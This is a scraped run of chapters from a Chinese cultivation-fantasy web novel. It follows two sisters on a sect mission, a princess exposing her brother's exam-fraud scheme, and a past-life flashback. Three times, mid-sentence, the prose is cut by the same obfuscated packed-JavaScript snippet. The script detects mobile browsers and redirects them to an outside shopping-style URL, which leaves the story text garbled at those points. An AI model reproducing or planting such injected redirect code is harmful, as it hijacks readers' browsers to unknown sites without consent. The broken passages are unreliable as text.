最后几人找了一家远离中街的客栈,魏则荣和怀荧先去皇宫探探情况。 杜玉华问道:“人什么时候能醒?” 徐丽影收了把脉的手,“他的筋脉被浊气侵蚀毁了大半,又受了不轻的伤,不知道我们的丹药有没有用。” 两人从屏风后出来,元泽问:“如何?” 徐丽影:“只能等。” 一个外派弄得这样狼狈,何况几人中还有太清宗年轻一辈最出色的弟子。唐朵朵半趴在桌上,双手托着下巴,双目无神,绝望道:“我的法器还有希望借到吗……” 元泽也有些头痛。 “阿姐,我有话想单独跟你说,”杜玉华突然走到元泽身边。 元泽有些意外,“什么话你直说吧。” 杜玉华摇了摇头,“不行,我只想跟你一个人说。” 元泽觉得莫名,她们有什么需要单独说的事吗?自己与杜玉华之间也没秘密啊。 苏遗星三人目不转睛盯着她们拉扯,元泽心累,“行。” 速战速决。 两人来到走廊尽头的窗边,元泽垂眼望着下方往来涌动的人流,“你说吧。” “阿姐,”杜玉华道:“我觉得你变了。” 元泽搭在窗棂上的手指微动,“为什么这么说。” “你以前只会关心在意我,这是我们第一次一起出外派,你都没跟我说过几句话,”杜玉华拉住元泽的袖角,音调放缓,显得有分可怜和落寞。 “……” 杜玉华很少跟自己这么说话,她在她面前都是娇纵的,因为她是姐姐,她总要让着她依着她。 记忆中只有一次,杜玉华因为贪玩,弄坏了母亲犹豫很久才决定买下的发簪。她害怕地捧着发簪来找自己,眼泪汪汪地问该怎么办。 元泽哪里知道该怎么办,她只能安慰她,说她来想办法。 发簪摔得厉害,不止钗子弯了,上头的珠串更是掉了好几颗。她还没找到办法修复,事情先一步败露。 母亲大发雷霆:“谁弄的!元泽你真是翅膀硬了!敢动我的东西!!” 杜玉华缩在角落瑟瑟发抖,“我不知道……” 元泽只得咬牙认下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286850|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好啊看我怎么教训你!” 母亲拿出笤帚,一下一下抽在她背上,尤觉不解气,“给我去外面跪着!” 那时候元泽年纪不大,但她明白,如果是杜玉华犯错母亲不会那么生气;杜玉华说不知道簪子怎么坏的,母亲一定相信,自己的解释不会有用。 母亲没有消气,直到月上中天元泽还跪着。 杜玉华就捧着一个饭团悄悄过来,“阿姐,你没事吧?对不起,我只是太害怕了,你有没有怪我?” 元泽僵硬地转过头看着她。 “这个、这个给你,我先回去了。” 杜玉华将饭团塞进她手里,只剩下一个仓皇的背影。 元泽没有怪过她,她只是觉得有点累有点痛,有点担心第二天母亲还生不生气。 时隔多年,杜玉华已经长得亭亭玉立,在修道一途天赋异禀,赞一句天之骄女也不为过。 “阿玉,你已经长大了,”元泽看着杜玉华,“你有自己的师兄妹、朋友,同样我也有,我们的世界不是重合的。” “什么意思?”杜玉华愣住了,“阿姐你不要我了?” 元泽敛眉,“说什么?我们还是姊妹。” 杜玉华突然道:“是不是因为苏遗星?我从来没见过你这么紧张一个人!” “跟他有什么关系?” 杜玉华像是豁然开朗,“阿姐你被他蛊惑了,苏遗星只是你的灵宠,你没必要对一个灵宠这么好。” 元泽一时语塞,就在这时,魏则荣和徐丽影回来了,她们身后还跟着一个熟悉的人影。 魏子璇? “我们先回屋。” 门窗闭紧,徐丽影率先发问:“如何?” “元泽师姐说得没错,”魏则荣沉声道:“大…魏则明面圣之后父皇大怒,恐怕不久后便要下通缉令。” 怀荧猛地一拍桌子,“我今儿也是长见识了,从未见过如此厚颜无耻之人!” 唐朵朵长叹一口气,“现在该怎么办?” “公主殿下,”元泽看向沉默多时的魏子璇,“您怎么来了?” 怀荧道:“我们途中遇见公主,她说她有法子。” 魏则荣道:“璇儿,你的办法是什么?” 魏子璇换了一件窄袖衣裳,去了繁琐的发饰,看上去利落不少。 “早年母妃还受宠,我向父皇求过一个恩典,”魏子璇的视线掠过魏则荣,“女扮男装去岚山书院求学。” 大魏与修士交好,开国供奉的修士中有不少女子,国库里两件镇国法宝的炼制者也是女性。所以在大魏,男女皆能入朝为官,自然也能参加科举。 只是还没有出过女性帝王。 魏子璇女扮男装也只是为了更好地掩盖公主的身份。 “我与贺明澜就是在岚山书院相识的。” “等等,你认识那小子?”魏则荣皱起眉。 魏子璇轻咳一声:“……嗯。” 当时情况紧急,贺明澜满身戾气的样子她尤不能忘,她不明白,当年那个璞玉蒙尘却胸怀抱负的少年怎么会变成这样? 她让他停手,“太清宗的仙君就在外面,你跑不掉的。” 贺明澜偏着头,“我早已没有退路。” 也许是因为她的劝阻,贺明澜下手留了一线,没叫书盛殒命当场。 最后一刻魏子璇拉起他的刀架在自己的脖子上,“你欠我两次。” 19. 岚山旧事 第一次是魏子璇刚入书院不久。 在瑾妃千叮咛万嘱咐之下,她带了两名会武的贴身侍女,也与自己一样女扮男装,做她的书童。 魏子璇在文华苑的功课一直是最好的,但里面同学都是皇家亲王的孩子,没几个人用心做学问。 她呆得实在没意思。 打听到岚山书院学风清朗,每届进士三分之一都出身于此,她再也按耐不住。 “公主别难过,我觉得您的文章最好,夫子定是看您才来没多久,偏心呢。” “冬芽!”秋雨忍不住敲了敲她的脑袋,压低声音:“说了多少次,在这里要叫公子。” “记住了记住了,”冬芽连忙躲到魏子璇背后。 魏子璇还在回味课上的对论,“夫子没偏心,这次我是不如她,但下次就不一定了。” 冬芽立刻:“公子最厉害!” 秋雨无奈摇头,“公子,七天一次的家书该动笔记,否则夫人又要担心。” 秋雨说的夫人自然是指瑾妃。 “知道了。” 自从魏则荣走了,宫中只有她与母妃相依为命。 瑾妃出身不好,没有母家帮衬,除了飘渺的帝王恩宠,再无其他倚仗。 魏子璇小小年纪就想明白,担惊受怕地讨好没有用,她要给自己和母亲找条坚实的后路。 岚山书院坐落于风景秀美的南方城镇,多年带动城镇发展,镇中百姓虽不及大城富庶,却也衣食无忧。 明日休课,魏子璇准备带着两人去城里逛逛,顺便采买点东西。 就在此时,忽听墙根隐蔽处传来一道低沉的声音:“区区案首,真以为自己飞上枝头做凤凰了?我告诉你,只要我动动手指……” “案首?”冬芽瞪大眼睛,“莫不是那个贺明澜?” 秋雨敛眉,“公子,不关我们的事,在岚山书院还是少惹事端——” 魏子璇的脚步已经迈过去了,“我这不叫惹事。” 贺明澜此人在书院的风评两极分化,特立独行不爱与任何人为伍,有人赞他才华出众是不可多得的天才,有人嘲他穷且益坚假清高。 读书人的事,说人家学问差就罢,笑人家穷属实不必。 她走在前面,秋雨冬芽只能匆匆跟上。 只见墙根的一处杂草地,三四个人围着一个少年,地上乱七八糟躺了一堆书册。 “写不写?!”有人伸手扯住他的衣领,将人狠狠搡到墙上,“问你话呢!” 贺明澜抱着怀里仅剩的一本书,冷冷地看了对方一眼,没做声。 “敬酒不吃吃罚酒!不用跟他客气!” “贺明澜,你个小身板能捱过几拳?再给你最后一次机会。” “滚。” “哈,好。”那男人气得脸色涨红,举起拳头就要砸过去。 魏子璇及时出声:“住手!” “你谁啊?敢管老子的闲事!” “大哥,他好像是上月从北边大城来的,”有人小声说道。 男人闻言收起怒容,“小公子,与你无关的事还请不要插手。” 彼时魏子璇不过十三岁的年纪,尚且稚嫩,但她面容沉静身姿挺拔,无形中气场比他们一堆人还强。 “早闻岚山书院学风甚好,没想到是这么个‘好’法,”魏子璇整了整衣摆,“等见着夫子,定要好生请教一番。” 秋雨冬芽虽不赞同,但架子也摆了起来。 男人的目光在魏子璇身上停留了片刻,半晌将手中的人甩到一边,“这次就放过你!” “我们走。” 贺明澜脚下踉跄,半跪着摔倒在地。 魏子璇走进将地上的书册拾起,“他们逼你做什么?” “替他写文章,”贺明澜咳了一声。 “给。” 贺明澜将书册接过来,“多谢。” 魏子璇不动声色,“写一篇文章罢了,你就情愿讨一顿打?” “有一次就有下一次,”贺明澜眼中流露出厌恶之色,“不如干脆让他们死心。” 魏子璇点点头,“那怎么不告诉夫子?” “夫子不管这些事。” 起初魏子璇不太相信,岚山书院声名在外,代写文章学问造假可是大事,怎会纵容? 直到后来,她发现岚山书院好几位夫子与皇后暗中联系。 受胁迫的不止贺明澜,也因为他们不是贺明澜,那些未署名的文章被送到魏则明面前,供他誊抄来取悦皇帝。 “我在岚山书院那一年搜集了很多证据,并与贺明澜约定在定中城相见,共同揭发。” 彼时贺明澜已经考中解元,他仍旧不爱与人为伍,只偶尔与魏子璇对弈品茶。 由于魏则明得皇帝重视,中宫也日渐强盛,她放心不下母亲,与贺明澜辞别,离开岚山回到都城。 “但今年的进士名录没有贺明澜,他不可能落榜,除非他根本没参加会试。” 魏子璇看向众人,“这之间一定发生了什么。” 元泽道:“所以你的办法是揭发魏则明?” “没错,我已经掌握了足够的物证。” 之所以迟迟不发,一是没有值得信任的人证,二是怕对方留有后手,一旦等他们喘过气,她和母亲的处境都不容乐观。 唐朵朵听得一愣一愣,由衷佩服道:“你好厉害啊。” 魏子璇说得轻描淡写,但任谁都知道其中有多艰辛。一个没有靠山背景、年纪又这么小的公主能做到这个地步,当真手段谋略缺一不可。 “阿璇…我……” 魏则荣喉咙微紧,原来那个腼腆又有些倔强的妹妹,经历了什么承受了什么,才会成长为一棵高大又挺拔的树。 “贺明澜死了吗?”魏子璇没看魏则荣。 “没有,”徐丽影道:“但什么时候醒不好说。” 然而就在这时,屏风后传出一串沉闷嘶哑的咳嗽声,徐丽影难掩讶异,这么巧的? 推开屏风,原本躺在床上昏迷的贺明澜果然睁开了眼睛。 他撑着手臂准备起身,目光触及屏风后众人,而后倏地对上一道视线,瞳孔微震。 “子璇…咳咳咳!” “伤没好就别动,”魏子璇走近扶着他的肩膀让他重新躺回床上。 贺明澜顺着她的力气躺回去,“抱歉。” 他说的是在状元府挟持魏子璇的事。 “是我让你那样做的,何必道歉。”魏子璇坐在床沿上,看着他苍白消瘦的脸庞,片刻后才道:“人都是你杀的?” “是。” 翰林的血案被魏则明压下,但随着事态严重,牵扯的人多了,魏子璇也有手段知晓。 “因为在岚山发生了什么?” 贺明澜闭上眼,尤带沙哑的嗓音缓缓说道:“你走后,那帮人很快又找上了我。” 不似第一次粗鲁,他们请他进了一家酒肆。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300134|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是‘请’,但他也没有拒绝的余地。 踏进门贺明澜就知道,要见他的不是一般人物。 对方的模样瞧着很和蔼,说他是不世之材,将来定有大作为。 贺明澜淡淡道:“阁下有话不妨直说。” “当今朝堂还算稳固,只是太子之位空悬。四位皇子年岁相差大,七殿下还未识字,十一殿下尚在襁褓。” 贺明澜隐约猜到对方要说什么。 “二殿下年纪不错,但四年前已入道求仙。几相对比,只有大殿下最为合适,且大殿下为中宫所出,更是深得陛下宠爱。” 贺明澜心中已有计较,如他所说,大殿下成为储君已板上钉钉,何须如此小心护航。 怕不是大殿下本人资质平平,时间一久,年纪小的皇子成长起来,变数就大了。 但为何要如此笃定是皇子,如今大魏男女皆可入朝为官,怎么不能是一位太女呢。 “……先生考虑如何?” 贺明澜直接起身,“阁下抬爱,我只是个平平无奇的读书人,对天家争斗并无兴趣。” “先生是不吃敬酒了。” “……” 贺明澜挨了一顿打。 按理来说,对方见他如此软硬不吃,应当不会再打他的主意。 事实也确实如此。 直到春闱。 一出考场,贺明澜被人打昏关了起来。 “他们勾结了礼部的人,将我的考卷替换姓名。” 贺明澜躺在床上,双目平平地盯着房梁,“威胁我用他们给的题目写文章,我不答应,他们断了我的吃食,对我用私刑。” “所以你才杀了他们。”魏子璇牵起被角盖住他的肩头,“后来你怎么逃出来的?” 那日来的人贺明澜不认识,但看举止也是个差不多的文人。她给他送了些饭菜,离开的时候将铁镣的钥匙留下了。 “我不知道她是谁,也不知道她为何要帮我。”贺明澜苦笑,“若是没有她,我恐怕……” 徐丽影倏地道:“莫不是她。” 唐朵朵也想起来了,她从乾坤囊里找出了一面回溯之镜,调整一番后,将画面定格在了一张女子的面孔上,她面色略微紧张但神情很坚定。 “你看。” 贺明澜控制不住咳嗽了两声,“是她。” “原来如此。”徐丽影道,“当时我见她状态不好,便上前安慰她两句,朵儿师姐还赠了她一副袖箭。就是她告诉我们,你是当年的解元。” “阮珍,她出身寒门天赋过人,是三届内年纪最小的进士,”魏子璇道:“但她是魏则明那派的人。” 恐怕阮珍当初遭遇了与贺明澜相同的情况,只是她做了另一项选择。 却不是一个坏消息。 “事不宜迟,我试试联系阮珍,”魏子璇道。 如果有阮珍相助,魏则明就是有通天的本事也难以逃罪。 魏则荣道:“我们……” “你们待着,通缉令不知何时会贴出来,被人发现很麻烦。”魏子璇的视线凝向床榻,“他是关键人证,你们照看好他。” “……好。” 魏子璇来也匆匆去也匆匆,屋里的几个修士倒显得没什么用。 魏则荣抱着手臂坐在角落,光看侧影就有股说不出的郁闷之色。众人都很理解,没去与他搭话。 “仙君。” 贺明澜突然哑声问:“我能弃修诡道吗?” 20. 新生 事情比想象得还要顺利。 阮珍家人被魏则明威胁,她才不得已为魏则明做事。魏子璇找到她之后,她毫不犹豫地选择地答应,唯一的要求是确保家人的安全。 正在节骨眼上,魏子璇的人手没法出动,这事便落在来元泽等人头上。 商讨一番还是兵分两路,元泽、杜玉华与苏遗星即刻动身去阮珍家中,剩下的人明日护送魏子璇等人进宫。 “好,一切顺利。”元泽道。 大魏多年积累定有底牌,万一到时候起了冲突,两个元婴期也有一争之力,况且魏则荣身份摆在这。 如果能无伤解决最好。 事情发展到现在,已经与前世截然不同了。 前世徐丽影和唐朵朵应该没去刑部,阮珍也不会被她们的善意打动告知内情。 贺明澜死了,动手的还是她同父同母的兄长,魏子璇想翻身更是难上加难。 每一步几乎都是死局。 重走一遭,居然无形中拨乱反正。 元泽沉思间,杜玉华已经祭出了自己的灵剑,“阿姐,你将这灵宠收回灵台,我载你吧。” 结了血契的灵宠就如同修士的灵器,可以同本命剑一般放置在灵台。修士也完全可随心操控,灵宠无法违逆。 “……” 但元泽没与苏遗星签血契,怎么收灵台? “不用,我自己御剑,”元泽道:“阮珍老家不远,我比你晚不了多少。” 杜玉华瞟了苏遗星一眼,“也好。” 元泽召出归鸿,苏遗星自觉地跟上去,他扶住元泽的肩,嘴唇凑到对方耳际,“你妹妹似乎很讨厌我。” “嗯?”元泽控剑起飞,跟在杜玉华后头。 苏遗星靠得更近,胸腔几乎贴着元泽的后背,悄声道:“她不会揍我吧?” 元泽想笑:“你说什么呢。” 以她对杜玉华的了解,对方应当不是那般冲动且疯狂的人。 而且那画面简直无法想象。 杜玉华有意压了速度,元泽几乎与她前后脚到罗田镇。天已经黑了。 罗田是个大镇,离定中城不远,镇里有好几片耕地,定中城将近一半的粮食都是从这里购买的。 阮家很出名,出了个年纪轻轻的进士,又在朝廷当官,所少人都羡慕不来。 元泽随便敲门一打听,便知晓了阮家的位置。 男人关门前还上下打量了苏遗星一眼,摆摆手,“珍珠及第后都来多少波人了,阮大娘不会答应的!” “什么意思?”元泽问。 男人了然笑道:“不用骗我,你们不是来求娶阮珍的?这小少爷确实长得——”他想了半天词儿,“…俊俏,但是阮大娘只会接受阮珍亲自带回来的女婿,你们怕是要白跑一趟。” 苏遗星本人还没有说话,忽听得杜玉华冷嗤一声,像是要接一句“他也配”。 这个人怪莫名其妙。 他第一次见她就不大喜欢。明明是元泽的院子,这人大喇喇地进来,用一种挑剔又嫌弃的目光看他和草绒,当是自己家一样往藤木秋千上坐。 没什么礼貌。 要不是因为她元泽妹妹的身份,他才不给她好脸色。 到头来,杜玉华反而先对他诸多敌意。 元泽道:“你误会了。”不过她没解释,“还是多谢告知,我们先告辞了。” 农家白日劳累,一般都歇息得很早,三人到的时候屋内没亮灯火,不知道阮大娘有没有休息。 “我先去周围看看有没有可疑的人,”杜玉华对元泽道:“阿姐你先等等,待会我们一起进去。” 元泽点头,若是魏则明在周围埋伏了人,给他们出去通风报信,那才真真是不妙了。 阮家的院子不大,但土墙很高很结实,一看便知里头住着的是个勤快又能干的人。 元泽出外派大多是这种地方,那些人只能拿出很少的报酬,最多再请她吃一顿饭。不过元泽很开心,因为他们热情的样子总让她觉得自己很讨人喜欢。 “好多星星,”苏遗星仰头看着,忽地伸出修长的手指一指,“元泽,这颗为什么比别的都亮?” 元泽也抬起头。 深蓝色天穹广袤无垠,无数星子洒落其中,但一眼就能看见其中最亮的一颗。 “长庚星,这是光明与希望的象征。” 苏遗星似懂非懂,“哦,那这颗呢?”他又指了指长庚星附近的一颗星星。 元泽摇头,“不知道。” “这颗呢?” 元泽:“不知道。” “这颗?” “……” 这狐狸怎么这么好奇? “不知道。” 苏遗星有点失望,“你怎么都不知道?” 元泽敲了敲他的脑袋,“你看天上这么多星星,怎么可能每颗都有名字?人们只会给特别的星星起名字。” “为什么?” “因为特别才会被注意,就像人一样,优秀的人会吸引所有人的视线,得到许多喜欢。”元泽看向远方,“而平凡的人就像这天上平凡的星,没人关注,也不会被起名字。” 苏遗星微微皱眉,他不喜欢这种说法,他指向最远的一颗星星,“我觉得它很特别,我给它起名字,它也是特别的星星了。” 元泽笑了,“那有什么用?恐怕不用等到明天,你就不知道它在哪。” 苏遗星扬扬下巴,长眉微挑,“那现在它是特别的星星!如果明天有人觉得它特别,那它明天也是特别的星星;如果每天都有人觉得它特别,那它一直就是特别的星星!” 元泽被他逗得哭笑不得,心里却莫名有些真心实意的高兴,“你…谁?!” 一把将苏遗星扯至身后,只见紧闭的院门突然打开,里头依旧没燃烛火,只是幽幽夜光中,一道敦实健壮的人影立在她们面前,手里还举着一把铁楸。 “你们在我门口还问我是谁?!”女人抬起铁楸指着二人,“简直倒反天罡!” 好像是这样。元泽尬笑两声,“阮大娘。” 阮大娘冷哼一声,“说吧!你们是谁!这段时间苍蝇似地跟着我的人是不是你们?!” 元泽立刻道:“不是,此事说来话长。” 她环顾一周,杜玉华元婴后期,这么久还没回来,要不是抓到人了在问话,要不就是人跑了在追,但搞定也只是时间问题。 她将阮珍那边的事告知一部分给阮大娘,让她不用担心,也不用对她们起疑。 “我们是阮珍大人来派来保护您的,明日一过,您就真正安全了。” “原是如此,”阮大娘放下铁楸,“就说定中的差事没那么好做,这个派那个党的,学她爹当个教书先生也成啊……” 她嘀嘀咕咕地,“非要去当什么官儿,都半年多没着家了。” 元泽道:“阮大人很聪敏,才华非常人能及。” “那是自然!” 阮大娘笑着招呼她们进来,点燃屋中灯盏,“随便坐,两位饿不饿?我这有自己做的糍粑,要不要尝尝?” 元泽道:“不用了。” 苏遗星道:“好啊!” “那行,你们等会就好,”阮大娘又乐呵呵地下厨房去了。 元泽:“……” 苏遗星连人带凳子挪到元泽身边,“元泽你别生气,我只是有点饿,而且我还没吃过糍粑呢。” 少年的面孔在昏黄烛火下透着朦胧美感,微微蹙着眉,明眸长睫,朱唇白肤,居然显出几分楚楚可怜的意味,像一只用柔弱假象欺骗猎物的精魅。 忘了他本来就是妖。 元泽移开目光,“我也没吃过。” “那正好,待会我们一起尝尝,”苏遗星喜道。 阮大娘动作麻利,没过多久厨房里就飘出一股香味,带着红糖的味道。 “好香啊。” 在苏遗星期待的目光中,阮大娘端着一只瓷盘出来,上面摆着七八块金黄色的糍粑,表面滋滋冒着小油泡,撒了黄豆粉,浇了红糖姜。 阮大娘将盘子放在桌上,盘子上还支着两只筷子,“趁热吃,凉了味道就差了。” 苏遗星迫不及待夹起一块,吹了吹,一口咬下。糍耙外皮焦脆内里却软糯,混着红糖的甜和黄豆粉的香。 “好吃。” 像是不怕烫,苏遗星连吃两块,元泽才刚咽下第一个。 “慢点吃,”阮大娘倒了两杯温茶推过去,盯着苏遗星快速却斯文的动作,叹道:“公子顶着这样一张脸吃这么香,倒显得我是个大厨。” 元泽笑道:“阮大娘厨艺精湛。” “哈哈哈!珍珠也爱吃我做的饭菜。” 阮大娘笑声爽朗,提到女儿时,眸中的爱意和自豪几乎要化为实质。 元泽眼睫微微垂落,“是嘛。” 屋内烛光暖暖笑谈不断,杜玉华从月色里走进,见到的就是这样一副其乐融融的场面。 她手掌捏紧,声音冒着四分五裂的寒意,“阿姐,不是让你等我吗?” 元泽转头,阮大娘已经起身,热情道:“这位大人也是我家珍珠一起叫来的?” 杜玉华拧起眉毛,元泽道:“正是。” 苏遗星连忙将最后一块糍粑咬进嘴里,这才放心。 杜玉华绷着脸在桌边坐下,面前的空盘子只剩几粒碎渣,阮大娘“呀”了一声,“我这就——” “不必。” 声音简短,尾音下沉。 气氛一时有些凝固。 元泽道:“阮大娘你不必再忙,阿玉已经辟谷了。” “辟谷?” “嗯,我们是朝廷的玄卫,有修为傍身,不需要进食。” “哦,”阮大娘点点头,瞧着几人的眼神带着几分敬佩。 元泽这才看向杜玉华,“如何?” “有三个人,打晕两个跑了一个,追进山里花了些时间。” 这些人有点小聪明,山上地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304571|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形复杂遮蔽物多,至少能多周旋片刻。 “你把他们放哪儿了?” 杜玉华道:“捆在猪圈后头,等事情结束再放出来。” “……”元泽道:“阮大娘,您去休息吧,我们守着不会再出事。” “难得家里这么热闹,哪里睡得着?”阮大娘摆摆手,“诶我听她叫你阿姐,你们是姊妹啊?” 元泽点头,“是。” “那你们父母是好福气,我也想给珍珠生个妹妹,但是她爹身体不好,珍珠科考也要人照应。” 阮大娘叹气,“家里要是有两个宝贝,那该多好。” 元泽牵了牵嘴角,“您是位好母亲。” “嗐,天底下的父母都一样。” 杜玉华忽地开口,“阮珍的父亲可是受了什么伤落下的病根?” “不是,是天生体弱。吹一点风发烧咳簌,稍微磕碰就留印子,几天都好不了。” 说起丈夫,阮大娘又是另一番起劲儿,“他是我们镇里唯一的教书先生,长得俊秀又有学问,很多姑娘都喜欢,讨他回家也不容易。” 苏遗星道:“阮珍像她的父亲吗?” “像!珍珠的课业就是他一手带的,他的身体太差参加不了科举,哪想到我们珍珠这么有出息!”阮大娘喜滋滋的,“不过珍珠的性格像我,果断机灵。” “……” 直到深夜,阮大娘才意犹未尽地结束,“我回屋休息,她爹睡得早,明日你们就见着了。” 杜玉华点头,“好。” “你们真的不用睡觉?珍珠的房子空着,还有一间客房。” 元泽道:“不用,夜深了,快去休息吧。” 阮大娘离开,屋里只剩下三人,烛火静静烧着,没人说话。 苏遗星在人走的瞬间就趴在桌上睡着了,元泽从乾坤囊拿出一件斗篷披在他身上。 杜玉华嘴唇动了动,但触及元泽的眼神,也只是沉默地低下了头。 一夜再无话。 翌日,元泽等人见到了阮珍的父亲。 “真是麻烦各位大人,小女在外能结识诸位,实乃大幸。” 杜玉华忙道:“哪里的话。” 男人身材清瘦,脸色也苍白,但骨相还在,完全可以窥见年轻时的俊秀。 阮大娘又拿出一件外裳裹住他,“病才好了几时,多穿些。” “多谢娘子。” 阮大娘去厨房做早饭,男人便摆出纸笔,端正地誊抄《千字文》。 苏遗星凑过去,问他这个字怎么读,那个字什么意思,男人语调温和,都一一解答。 不多时阮大娘吆喝吃早饭,苏遗星很是积极,元泽和杜玉华也吃了一些。 “娘子手艺越发好了。” 阮大娘哼了一声,“也不见你长些肉。” “明日去集市,把刘家要的《千字文》带上吧。” “不用急,你慢慢来……” 阮大娘还是很多话,但明显只对着一个人说了。 不到午时,元泽的水镜收到一条简短的传讯。 “成了。” 景华七年秋,皇后被废,大皇子囚于凤阳,永世不得出。 并罚一众涉事官员革职、流放等。 岚山书院被封,五公主魏子璇、礼部侍郎阮珍领命整顿。 贺明澜虽行为过激但事出有因,即日起恢复解元身份。 “你真的想好了?”宫墙下,徐丽影望着贺明澜。 贺明澜颔首作揖,“我在书中看过,诡道损心性,如此修得的灵脉不要也罢。” “要我告诉公主殿下吗?” “不用,我能活几年便陪她几年,何故徒增伤感。” 贺明澜看向不远处,魏子璇正听瑾妃同魏则荣说话。 “这才几天就要走?”瑾妃握着魏则荣的手,“来日若是你不想修仙,随时可以回来。” 魏子璇淡道:“母妃,他爱修就让他修吧。” 魏则荣从怀里掏出两颗淡金色的晶球,递给魏子璇和瑾妃,“今后若是遇到危险,捏碎它,无论多远我都会立刻赶到。” 当年的他不够强大不够勇敢,他怕自己护不住年幼的妹妹,怕母妃被人算计。面对皇后的威胁,他选择了最无用的顺从。 皇后视他为魏则明夺储君之位最大的阻碍,他以为自己走了就能相安无事,却不知母亲与妹妹吃了多少苦。 魏子璇接过来,“就两颗?” 魏则荣淡笑道:“等你用了,我自会给你补新的。” “哦。” 元泽和苏遗星站在最后方,他试探地对元泽说,“走的时候能不能不坐马车,我想逛逛。” “阿姐。” 杜玉华走到元泽面前,面色有些凝重,“宗内传音,父亲病重,母亲希望我们回去见他最后一面。” 元泽愣了愣,在定中耽误这么久,确实到时间了。 前世就是这次归家,彻底改变了她的命运。 21. 前世(四) 元泽闭关时没有太强的时间概念,只知道过去了很久。沈良凤全程给她护法,她几乎每时每刻都能感受到师尊磅礴精纯的灵力。 “去峰内辟一处自己的府邸,今后那便是你的修行地。” 沈良凤唇色有些苍白,大约是为她护法损耗了太多灵力。元泽有些惭愧,她还没为师尊做些什么,师尊就待她如此之好。 “多谢师尊,”元泽道:“您是不是累了?我先送您去休息吧。” “……” 沈良凤转过身,“无事,你且去吧。” 再坚持就有些无礼了,元泽只好告辞。 她在无为峰上转了一圈,弟子们竟大多认识她,还与她笑着问好。 元泽不知道的是,她是沈良凤收的第一个亲传弟子,众人都很好奇元泽身上有什么出众的天赋。 却邪峰两位新晋亲传弟子早已双双到达金丹期,元泽虽闭关时间长些,但也没差太多。 完全是天才来的,弟子们对元泽不免生出了些憧憬和崇拜。 元泽无所适从,有些僵硬地提了提嘴角。 最后她在峰内选了块很不起眼的地方,有些偏僻也不够宽敞。但她自己很满意,将院子打扫得干干净净。 晚上她在完全属于自己的屋子里睡了一觉,难得安稳。 第二日她正想着要不要去看看师尊,一打开门,正看见门外站着一道修长的身影。 “阿姐。” 元泽一愣,“阿玉?” 半年未见,杜玉华变了不少。她长高了些,脸上稚气也褪去大半,整个人沉静了几分,“你出关了怎么都不来找我?” “我昨天才出关。” 元泽没想到杜玉华会主动来找自己,毕竟上一次两人的分别不太愉快。 内门大比后,杜玉华和怀荧同被却邪峰大长老收为亲传弟子。杜玉华特意过来找她,说自己跟师尊争取了,他愿意再多收一个弟子,这样她们就能一起上却邪峰。 但元泽早就答应了沈良凤,她不想违背自己的承诺。 “你没有生气吗?”元泽问。 按照以往的经验,杜玉华怎么也会在她面前发一次脾气,然后等自己想办法去哄她。 杜玉华摇头,“沈长老也很好,你既然决定好了,我怎么会生气?” 元泽无形中松了口气,她的妹妹确实变了很多。 两人说了会话,杜玉华便被一道传音叫走,“怀荧师姐喊我去修炼,估计师尊要来检查功课了。” “那你先走吧。” “嗯,我过些天来找你。” 然而过了很多天,杜玉华都没有来。还是她去饭堂时听见有弟子谈论,怀荧和杜玉华跟着师姐师兄出外派了。 她辟谷没多久,有时还会来吃些东西。她坐在角落里,缓缓地将盘中菜放进嘴里。 比太清学府的口味要好上一点儿。 沈良凤很忙,十天半个月才会见她一次。每次见面都会探一遍她的灵脉,再问问她最近修炼有没有遇到瓶颈。 元泽道:“我想出外派。” 外派就是一次历练,实战对提高修为也有很大帮助。 沈良凤却道:“不用急。” “可我想出去看看。” 最后沈良凤还是同意了,“好。” 元泽便跟着师姐师兄们下了山。 其实只是很小的一件事。有只妖兽每晚都来偷吃农民辛辛苦苦种出来的庄稼,再这样下去,到秋天就颗粒无收了。 元泽和师姐师兄们蹲守了一晚,就将那妖兽捉住。是只野猪精,修成人身没多久,鼻子和尾巴都没化过来。 村里人很高兴,邀请她们留下吃一顿饭。 元泽等人基本已辟谷,但见她们如此热心实在不忍拂了好意,便留了下来。 村里人淳朴,饭菜口味其实没多好,但每个盘子都盛得慢慢的,像是生怕她们吃不够。 “多吃点!不要跟俺们客气!” “不够还有!” “小仙姑看你年纪也不大,多吃些诶!” 一位老奶奶对元泽说道,一大块五花肉随后落在了碗中。 元泽抿了抿唇,而后笑道:“谢谢奶奶。” 第一次外派,元泽并没有拿到多少报酬,但她觉得很满足。 于是她开始频繁出外派,只要有合适的都会跟去。 她与杜玉华见面的机会愈发少了,每次见面时妹妹都不太开心,要么苦恼师尊太严格,要么抱怨外派太辛苦。 元泽想哄她开心,便自己动手,在小院里搭了一座藤木秋千。 